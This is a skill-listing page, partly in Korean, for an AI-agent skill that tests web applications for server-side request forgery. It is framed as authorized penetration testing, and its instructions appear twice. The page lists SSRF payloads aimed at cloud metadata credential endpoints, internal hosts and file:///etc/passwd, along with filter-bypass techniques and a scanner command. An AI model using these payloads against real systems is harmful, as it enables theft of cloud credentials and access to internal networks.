원클릭으로 Manus에서 모든 스킬 실행

performing-ssrf-vulnerability-exploitation

스타6

포크2

업데이트2026년 7월 1일 01:50

Test for Server-Side Request Forgery vulnerabilities by probing cloud metadata endpoints, internal network services, and protocol handlers through user-controllable URL parameters. Tests AWS/GCP/Azure metadata APIs (169.254.169.254), internal port scanning via HTTP, URL scheme bypass techniques, and DNS rebinding detection.

설치

Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.

Manus에서 실행

출처

idpass

idpass/idpass-data-collect

GitHub 저장소 열기 Creator 저장소 보기

다운로드

Manus에서 실행

When to Use

When conducting security assessments that involve performing ssrf vulnerability exploitation
When following incident response procedures for related security events
When performing scheduled security testing or auditing activities
When validating security controls through hands-on testing

Prerequisites

Familiarity with security operations concepts and tools
Access to a test or lab environment for safe execution
Python 3.8+ with required dependencies installed
Appropriate authorization for any testing activities

Instructions

Install dependencies: pip install requests
Identify URL parameters in the target application that accept URLs or hostnames.
Test SSRF payloads:
- Cloud metadata: http://169.254.169.254/latest/meta-data/
- Internal services: http://127.0.0.1:port/, http://10.0.0.1/
- Protocol handlers: file:///etc/passwd, gopher://, dict://
- Bypass techniques: IP encoding, DNS rebinding, URL redirects
Analyze responses for information disclosure or internal access confirmation.
Generate a vulnerability assessment report.

# For authorized penetration testing and lab environments only
python scripts/agent.py --target-url https://app.example.com/fetch?url= --output ssrf_report.json

Examples

AWS Metadata SSRF

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

If the response contains AWS credentials (AccessKeyId, SecretAccessKey), SSRF is confirmed with critical impact.

이 저장소의 다른 Skills

같은 저장소

bypassing-authentication-with-forced-browsing

idpass/idpass-data-collect

Discovering and accessing unprotected pages, APIs, and administrative interfaces by enumerating URLs and bypassing authentication controls during authorized security assessments.

2026-07-016

detecting-api-enumeration-attacks

idpass/idpass-data-collect

Detect and prevent API enumeration attacks including BOLA and IDOR exploitation by monitoring sequential identifier access patterns and authorization failures.

2026-07-016

detecting-supply-chain-attacks-in-ci-cd

idpass/idpass-data-collect

Scans GitHub Actions workflows and CI/CD pipeline configurations for supply chain attack vectors including unpinned actions, script injection via expressions, dependency confusion, and secrets exposure. Uses PyGithub and YAML parsing for automated audit. Use when hardening CI/CD pipelines or investigating compromised build systems.

2026-07-016

exploiting-broken-function-level-authorization

idpass/idpass-data-collect

Tests APIs for Broken Function Level Authorization (BFLA) vulnerabilities where regular users can invoke administrative functions or access privileged API endpoints by directly calling them. The tester identifies admin and privileged endpoints, then attempts to access them with regular user credentials by manipulating HTTP methods, URL paths, and request parameters. Maps to OWASP API5:2023 Broken Function Level Authorization. Activates for requests involving BFLA testing, admin endpoint bypass, function-level access control testing, or API privilege escalation.

2026-07-016

exploiting-excessive-data-exposure-in-api

idpass/idpass-data-collect

Tests APIs for excessive data exposure where endpoints return more data than the client application needs, relying on the frontend to filter sensitive fields. The tester intercepts API responses and analyzes them for leaked PII, internal identifiers, debug information, or sensitive business data that the UI does not display but the API transmits. This maps to OWASP API3:2023 Broken Object Property Level Authorization. Activates for requests involving API data leakage testing, excessive data exposure, response filtering bypass, or API over-fetching.

2026-07-016

exploiting-jwt-algorithm-confusion-attack

idpass/idpass-data-collect

Exploits JWT algorithm confusion vulnerabilities where the server's token verification library accepts the algorithm specified in the JWT header rather than enforcing a fixed algorithm. The tester manipulates the alg header to switch from RS256 to HS256 (using the RSA public key as the HMAC secret), sets alg to none to bypass signature verification, or exploits kid/jku/x5u header injection to supply attacker-controlled keys. Activates for requests involving JWT algorithm confusion, alg none attack, key confusion attack, or JWT signature bypass.

2026-07-016

name	performing-ssrf-vulnerability-exploitation
description	Test for Server-Side Request Forgery vulnerabilities by probing cloud metadata endpoints, internal network services, and protocol handlers through user-controllable URL parameters. Tests AWS/GCP/Azure metadata APIs (169.254.169.254), internal port scanning via HTTP, URL scheme bypass techniques, and DNS rebinding detection.
domain	cybersecurity
subdomain	security-operations
tags	["ssrf","web-application-security","cloud-metadata-abuse","vulnerability-exploitation","penetration-testing"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["DE.CM-01","RS.MA-01","GV.OV-01","DE.AE-02"]
mitre_attack	["T1078","T1190","T1059","T1078.004","T1530"]

When to Use

When conducting security assessments that involve performing ssrf vulnerability exploitation
When following incident response procedures for related security events
When performing scheduled security testing or auditing activities
When validating security controls through hands-on testing

Prerequisites

Familiarity with security operations concepts and tools
Access to a test or lab environment for safe execution
Python 3.8+ with required dependencies installed
Appropriate authorization for any testing activities

Instructions

Install dependencies: pip install requests
Identify URL parameters in the target application that accept URLs or hostnames.
Test SSRF payloads:
- Cloud metadata: http://169.254.169.254/latest/meta-data/
- Internal services: http://127.0.0.1:port/, http://10.0.0.1/
- Protocol handlers: file:///etc/passwd, gopher://, dict://
- Bypass techniques: IP encoding, DNS rebinding, URL redirects
Analyze responses for information disclosure or internal access confirmation.
Generate a vulnerability assessment report.

# For authorized penetration testing and lab environments only
python scripts/agent.py --target-url https://app.example.com/fetch?url= --output ssrf_report.json

Examples

AWS Metadata SSRF

GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

If the response contains AWS credentials (AccessKeyId, SecretAccessKey), SSRF is confirmed with critical impact.